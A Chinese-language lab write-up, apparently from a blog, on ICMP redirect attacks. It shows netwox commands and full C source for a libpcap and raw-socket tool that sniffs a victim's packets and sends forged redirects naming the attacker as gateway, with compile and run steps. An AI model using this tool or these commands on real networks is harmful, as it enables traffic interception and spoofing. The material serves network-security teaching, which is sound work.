网络安全ICMP重定向攻击

网络安全——ICMP重定向攻击

  • 网络命令
  • 网络工具——netwox
  • 一、实验原理
  • 二、设计代码

网络命令

  1. 网络不可用
代码语言:javascript
复制
$ ping ${域名}
$ ping ${ip地址}
$ ifconfig #lo:本地网卡;enss:朝外发包的网卡
$ ifconfig -a #对比上一条结果,查看哪个网卡未开启
$ route #route -n查看本机网络状况
$ netstat -lt #正在监听的tcp端口,-p显示进程号
$ 
在这里插入图片描述

第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。

第二条是link-local,这个是链路本地地址(link local address),是设备在本地网络中通讯时用的地址,网段为169.254.0.1~169.254.254.255。主要作用是DHCP服务器故障,或者DHCP超时,不致于设备没有IP而造成连接不上。LLA是本地链路的地址,是在本地网络通讯的,不通过路由器转发,因此网关为0.0.0.0。

第三条是直联网段的路由记录:当路由器收到发往直联网段的数据包时该如何处理。因为是本地网络通信,不经过网关,所以是0.0.0.0.

  1. 主机间通信 netcat命令,可以用于扫描端口、后门。
代码语言:javascript
复制
$ nc -l 1234 #创建一个监听端口
$ nc ${目的主机IP地址} 1234 
  1. WHOIS(发音为“who is”) 是一种查询和响应协议,广泛用于查询存储了Internet资源注册用户等数据库,例如域名、IP地址块或自治系统 ,但也用于更广泛的其他信息。 该协议以人类可读的格式存储和提供数据库内容。
  2. netstat 在内核中访问网络连接状态及其相关信息的程序

网络工具——netwox

试验机器: Ubantu 18.04.2 LTS VMware Workstation 17

准备工作: 修改VMware Workstation网络适配器模式为桥接模式 ;

一、实验原理

代码语言:javascript
复制
$ lsb_release -a
$ cat /proc/version
$ xrandr -s 1024x768

$ sudo apt install net-tools traceroute netwox #安装net-tools、traceroute、netwox
$ sudo apt-get install wireshark
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects #打开重定向选项
$ sudo sysctl -w net.ipv4.conf.all.accept_redirects=1 #ip_forward与accept_redirects相反?sysctl命令用于运行时配置内核参数,-w临时修改。

虚拟机1:IP地址192.168.1.108,默认网关地址192.168.1.1
虚拟机2(clone):IP地址192.168.1.107

在这里插入图片描述
在这里插入图片描述

查找信息:

代码语言:javascript
复制
$ route -n #查看路由表
$ sudo netwox 86 -f "host ${被攻击主机ip地址}" -g "${新指定的网关ip地址}" -i "${当前网关ip地址}"
$ sudo wireshark
在这里插入图片描述

通过wireshark抓包查看所发出的数据包的源IP是原来的默认网关,而不是攻击者真实的IP。 接下来分析一下ICMP的数据报格式:由于不同Type的数据报有不同的格式,但是它们的首行都是一致的,包含Type、Code、Checksum。

在这里插入图片描述
在这里插入图片描述
  • ICMP重定向报文,除了ICMP包中的通用头部4字节之外,还包括原始IP头部信息和数据报文的前8个字节(这里是目的地址不可达的ICMP差错信息)。 也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)。
在这里插入图片描述
  • 另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。 路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。

主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。这里的netwox就是通知主机需要更新路由表。

二、设计代码

代码参考:

代码语言:javascript
复制
#include <pcap.h> 
#include <linux/ip.h>
#include <linux/icmp.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>  //对POSIX 操作系统API的访问功能

#define MAX 1024
#define SIZE_ETHERNET 14

const unsigned char *Vic_IP = "192.168.3.185"; //被攻击主机IP
const unsigned char *Ori_Gw_IP = "192.168.3.1"; //原始网关IP
const unsigned char *Redic_IP = "192.168.3.184"; //修改后的网关IP,这里为攻击者IP
int flag = 0;

/* IP 头部 */
struct ip_header //总长度20字节
{
#ifdef WORDS_BIGENDIAN //小端模式高位在低地址; 大端低地址低位高地址高位
u_int8_t ip_version:4;
u_int8_t ip_header_length:4;
#else
u_int8_t ip_header_length:4;
u_int8_t ip_version:4;
#endif
u_int8_t ip_tos; //服务类型
u_int16_t ip_length; //总长度
u_int16_t ip_id; //标志
u_int16_t ip_off; //分片偏移
u_int8_t ip_ttl; //生存时间
u_int8_t ip_protocol; //协议
u_int16_t ip_checksum; //校验和
struct in_addr ip_source_address; //in_addr表示32位的IPv4地址的结构体
struct in_addr ip_destination_address;
};

/* icmp redirect 头部 */
struct icmp_header //
{
u_int8_t icmp_type; //类型
u_int8_t icmp_code; //代码
u_int16_t icmp_checksum; //校验和
struct in_addr icmp_gateway_addr;

//u_int16_t icmp_identifier;  //标识符
//u_int16_t icmp_sequence;  //序列号

};

/* 计算校验和 */
//以字为单位压入双字中,处理双字高16位的溢出部分,最后取反输出校验和
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0; //4字节
u_int16_t *cbuf;

cbuf=(u_int16_t *)buf;  //每两字节二进制相加

while(len&gt;1)
{  
	sum+=*cbuf++;  
	len-=2;  //长度的单位是8bit
}  

if(len)  
	sum+=*(u_int8_t *)cbuf;  

sum=(sum&gt;&gt;16)+(sum &amp; 0xffff);  //将高于16位(右移)与低16位(高位填充0)相加
sum+=(sum&gt;&gt;16);  //如果还有高于16位,将继续与低16位相加

return ~sum;  //对sum取反(返回的是十进制)

}

/**
*/
void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{
char buf[MAX], *p;

struct ip_header   *ip;
struct icmp_header *icmp;

int len,i;

struct packet{ //IP报文
	struct iphdr ip;
	struct icmphdr icmp;
	char datas[28];
}packet;

//添加IP头部
packet.ip.version  = 4;
packet.ip.ihl      = 5; //4B*5
packet.ip.tos      = 0; //服务类型
packet.ip.tot_len  = htons(56);
packet.ip.id       = getpid(); //标志
packet.ip.frag_off = 0;
packet.ip.ttl      = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check    = 0; 
packet.ip.saddr    = inet_addr(Ori_Gw_IP); //冒充原始网关,inet_addr将点分十进制转换成一个u_long型
packet.ip.daddr    = inet_addr(Vic_IP);    //被攻击主机

//添加ICMP头部
packet.icmp.type       = ICMP_REDIRECT;
packet.icmp.code       = ICMP_REDIR_HOST;
packet.icmp.checksum   = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);

//netinet/in.h
struct sockaddr_in dest =  {
	.sin_family = AF_INET,
	.sin_addr   = {.s_addr = inet_addr(Vic_IP)}
};

//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.datas, (data + SIZE_ETHERNET), 28);
packet.ip.check      = checksum(&amp;packet.ip, sizeof(packet.ip));
packet.icmp.checksum = checksum(&amp;packet.icmp, sizeof(packet.icmp)+28);

/** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
 *  发送端套接字描述符
 *  待发送数据的缓冲区
 *  待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位
 *  一般为0
 *  数据发送的目的地址
 *  地址长度
 */
sendto(sockfd, &amp;packet, 56, 0, (struct sockaddr *)&amp;dest, sizeof(dest));

printf(&#34;send packet...\n&#34;);

}

/** pcap_loop 用到的回调函数

  • userarg:pcap_loop最后一个参数

  • pkthdr:收到的数据包的pcap_pkthdr类型的指针

  • packet:收到的数据包数据。
    第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包,是一个结构体的集合。
    */
    void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
    {
    int sockfd, res; //sockfd是socket描述符
    int one = 1;
    int *ptr_one = &one;

    /** int socket(int domain, int type, int protocol);确定构造的是ICMP数据包

    • domain:设置网络通信的域,函数据此选择通信协议的族(sys/socket.h)
    •      这里AF_INET对应IPv4协议,PF_UNIX为本地通信,PF_INET6为IPv6协议
      
    • type:设置套接字通信的类型
    •    SOCK_STREAM:双向流式套接字,TCP连接。connect-read-write
      
    •    SOCK_DGRAM :数据包套接字,提供原始网络协议访问。sendto-recvfrom
      
    •    SOCK_DGRAM :UDP连接,无连接状态的消息。sendto-recvform
      
    • protocol:制定某个协议的特定类型,即type类型中的某个类型
    •        0:只有一种特定类型
      
    • 返回值:标识这个套接字的文件描述符,失败返回-1
      /
      if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
      {
      printf("
      **** create sockfd error *****\n");
      exit(-1);
      }

    /** 用于任意类型、任意状态套接口的设置选项值(socket.h),这里因为上面的Socket类型选择了IPPROTO_ICMP,需要自行定义头部,否则系统会默认生成IP地址为本机的头部,构造出来的ICMP包无法构成重定向攻击。如果是IPPROTO_RAW则可以不用此函数。

    • s:标识要给套接字的描述符
    • level:指定选项代码的类型
    •     SOL_SOCKET  :基本套接口
      
    •     IPPROTO_IP  :IPv4套接口
      
    •     IPPROTO_IPV6:IPv6套接口
      
    •     IPPROTO_TCP :TCP套接口
      
    • optname:需设置的选项的名称
    • optval:指向存放选项值的缓冲区的指针
    • optlen:optval缓冲区长度
    • 返回值int:标志打开或关闭某个特征的二进制选项
      /
      res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
      if(res < 0)
      {
      printf("
      **** setsockopt error *****\n");
      exit(-3);
      }

    //填充数据部分
    ping_redirect(sockfd, packet, 0);

}

int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;

/** 查找网络设备
 *  返回可被调用的网络折别名指针,errBuf存放出错信息字符串
 * */
devStr = pcap_lookupdev(errBuf); 

if(devStr)
{
	printf(&#34;running...\n- device of my computer: %s\n&#34;, devStr);
}
else
{
	printf(&#34;run error: %s\n&#34;, errBuf);
	exit(1);
}


/** 打开一个用于捕获数据的网络接口 
 *  device: 网络接口字符串,也可人为指定
 *  snaplen:捕获数据包的长度,最大65535字节
 *  promise:1表示混杂模式
 *  to_ms:  需要等待的毫秒数,超过后函数立即返回
 *  ebuf:   存放错误信息
 *  返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄)
 * */
pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);  
printf(&#34;- device of pcap_open_live() is: %s\n&#34;, device);
if (device == NULL)
    printf(&#34;- error: %s\n&#34;, errBuf);


/** 制定过滤规则
 *  该攻击中删除与否无所谓,添加此过滤规则只是为了限定处理包的类型,提高效率
 */
struct bpf_program filter;
char filterstr[50]={0};
sprintf(filterstr,&#34;src host %s&#34;,Vic_IP); //规则语法:设置包的源ip为被攻击者IP,对应netwox 86 -f &#34;${filterstr}&#34;

/** 将用户制定的过滤策略编译到过滤程序中
 *  p:pcap会话句柄
 *  fp:存放编译后的规则
 *  str:规则表达式
 *  optimize:指定优化选项,1true,0false
 *  netmask:舰艇接口的网络掩码
 *  返回值int:失败返回-1,成功返回其他值
 * */
pcap_compile(device,&amp;filter,filterstr,1,0);


/** 设置过滤器
 * */
pcap_setfilter(device,&amp;filter);


/** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作
 *  p:pcap_open_live()返回的pcap_t类型的指针
 *  cnt:指定捕获数据包的个数,-1直至错误
 *  callback:回调函数,自命名
 *  user:向回调函数中传递的参数
 *  返回值int:成功返回0,失败返回负数
 * */
int id = 0;
pcap_loop(device, -1, getPacket, NULL);


/** 关闭并释放资源
 */
pcap_close(device);

return 0;

}

编译:

代码语言:javascript
复制
sudo apt install libpcap-dev
gcc ICMPAttack.c -lpcap -o ICMPAttack
sudo ./ICMPAttack #必须要sudo

抓到的数据包如下:这里直接将攻击对象改成了本地主机,IP地址可能与上面对应不上。

在这里插入图片描述

参考博客: pcap相关函数: https://blog.csdn.net/tennysonsky/article/details/44811899 socket函数: https://blog.csdn.net/mpp_king/article/details/80222304